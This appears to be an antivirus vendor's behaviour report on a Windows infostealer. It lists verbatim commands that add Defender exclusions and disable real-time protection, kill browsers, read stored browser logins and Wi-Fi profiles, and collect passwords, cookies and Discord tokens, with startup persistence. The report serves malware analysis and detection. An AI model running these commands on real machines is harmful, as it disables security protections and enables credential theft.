Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -Enabl...
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /IM "opera.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "chrome.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "msedge.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "firefox.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "iexplore.exe"
- '<SYSTEM32>\taskkill.exe' /F /IM "brave.exe"
Terminates or attempts to terminate
the following user processes:
- firefox.exe
- iexplore.exe
Reads files which store third party applications passwords
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
Modifies file system
Creates the following files
- %TEMP%\yak4evqx.db
- %TEMP%\qs4v8pcv.db
- %TEMP%\wkb8s42m.db
- %TEMP%\sa6r1nws.db
- nul
- %TEMP%\mdma_results\passwords.txt
- %TEMP%\mdma_results\cookies.txt
- %TEMP%\mdma_results\autofills.txt
- %TEMP%\mdma_results\wifi_passwords.txt
- %TEMP%\mdma_results\system_info.txt
- %TEMP%\mdma_results\clipboard.txt
- %TEMP%\mdma_results\antivirus.txt
- %TEMP%\mdma_results\tasklist.txt
- %TEMP%\mdma_results\directory_tree.txt
- %TEMP%\mdma_results\discord_tokens.txt
- %TEMP%\mdma_results\summary.txt
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\<File name>.exe
Sets the 'hidden' attribute to the following files
- <Full path to file>
Deletes following files that it created itself
- %TEMP%\qs4v8pcv.db
- %TEMP%\yak4evqx.db
- %TEMP%\wkb8s42m.db
- %TEMP%\sa6r1nws.db
Modifies the HOSTS file.
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Executes the following
- '<SYSTEM32>\cmd.exe' /C powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'
- '<SYSTEM32>\cmd.exe' /C powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess D...
- '<SYSTEM32>\cmd.exe' /C attrib +h +s "<Full path to file>"
- '<SYSTEM32>\cmd.exe' /C taskkill /F /IM "chrome.exe" >NUL 2>&1
- '<SYSTEM32>\cmd.exe' /C tasklist /FO LIST
- '<SYSTEM32>\cmd.exe' /C netsh wlan show profile
- '<SYSTEM32>\cmd.exe' /C wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /format:list 2>NUL
- '<SYSTEM32>\cmd.exe' /C taskkill /F /IM "msedge.exe" >NUL 2>&1
- '<SYSTEM32>\cmd.exe' /C wmic os get Caption /value
- '<SYSTEM32>\cmd.exe' /C taskkill /F /IM "firefox.exe" >NUL 2>&1
- '<SYSTEM32>\cmd.exe' /C taskkill /F /IM "opera.exe" >NUL 2>&1
- '<SYSTEM32>\cmd.exe' /C taskkill /F /IM "iexplore.exe" >NUL 2>&1
- '<SYSTEM32>\cmd.exe' /C taskkill /F /IM "brave.exe" >NUL 2>&1
- '<SYSTEM32>\netsh.exe' wlan show profile
- '<SYSTEM32>\wbem\wmic.exe' os get Caption /value
- '<SYSTEM32>\tasklist.exe' /FO LIST
- '<SYSTEM32>\attrib.exe' +h +s "<Full path to file>"
- '<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /format:list
- '<SYSTEM32>\cmd.exe' /C powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER 2>NUL
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
- '<SYSTEM32>\cmd.exe' /C wmic path win32_VideoController get name
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
- '<SYSTEM32>\cmd.exe' /C wmic computersystem get totalphysicalmemory /value
- '<SYSTEM32>\wbem\wmic.exe' computersystem get totalphysicalmemory /value
- '<SYSTEM32>\cmd.exe' /C wmic csproduct get uuid
- '<SYSTEM32>\wbem\wmic.exe' csproduct get uuid
- '<SYSTEM32>\cmd.exe' /C powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault 2>NUL
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
- '<SYSTEM32>\cmd.exe' /C powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess D...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C attrib +h +s "<Full path to file>"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C taskkill /F /IM "chrome.exe" >NUL 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C tasklist /FO LIST' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C netsh wlan show profile' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName /format:list 2>NUL' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C taskkill /F /IM "msedge.exe" >NUL 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C wmic os get Caption /value' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C taskkill /F /IM "firefox.exe" >NUL 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C taskkill /F /IM "opera.exe" >NUL 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C taskkill /F /IM "iexplore.exe" >NUL 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C taskkill /F /IM "brave.exe" >NUL 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER 2>NUL' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C wmic path win32_VideoController get name' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C wmic computersystem get totalphysicalmemory /value' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C wmic csproduct get uuid' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault 2>NUL' (with hidden window)
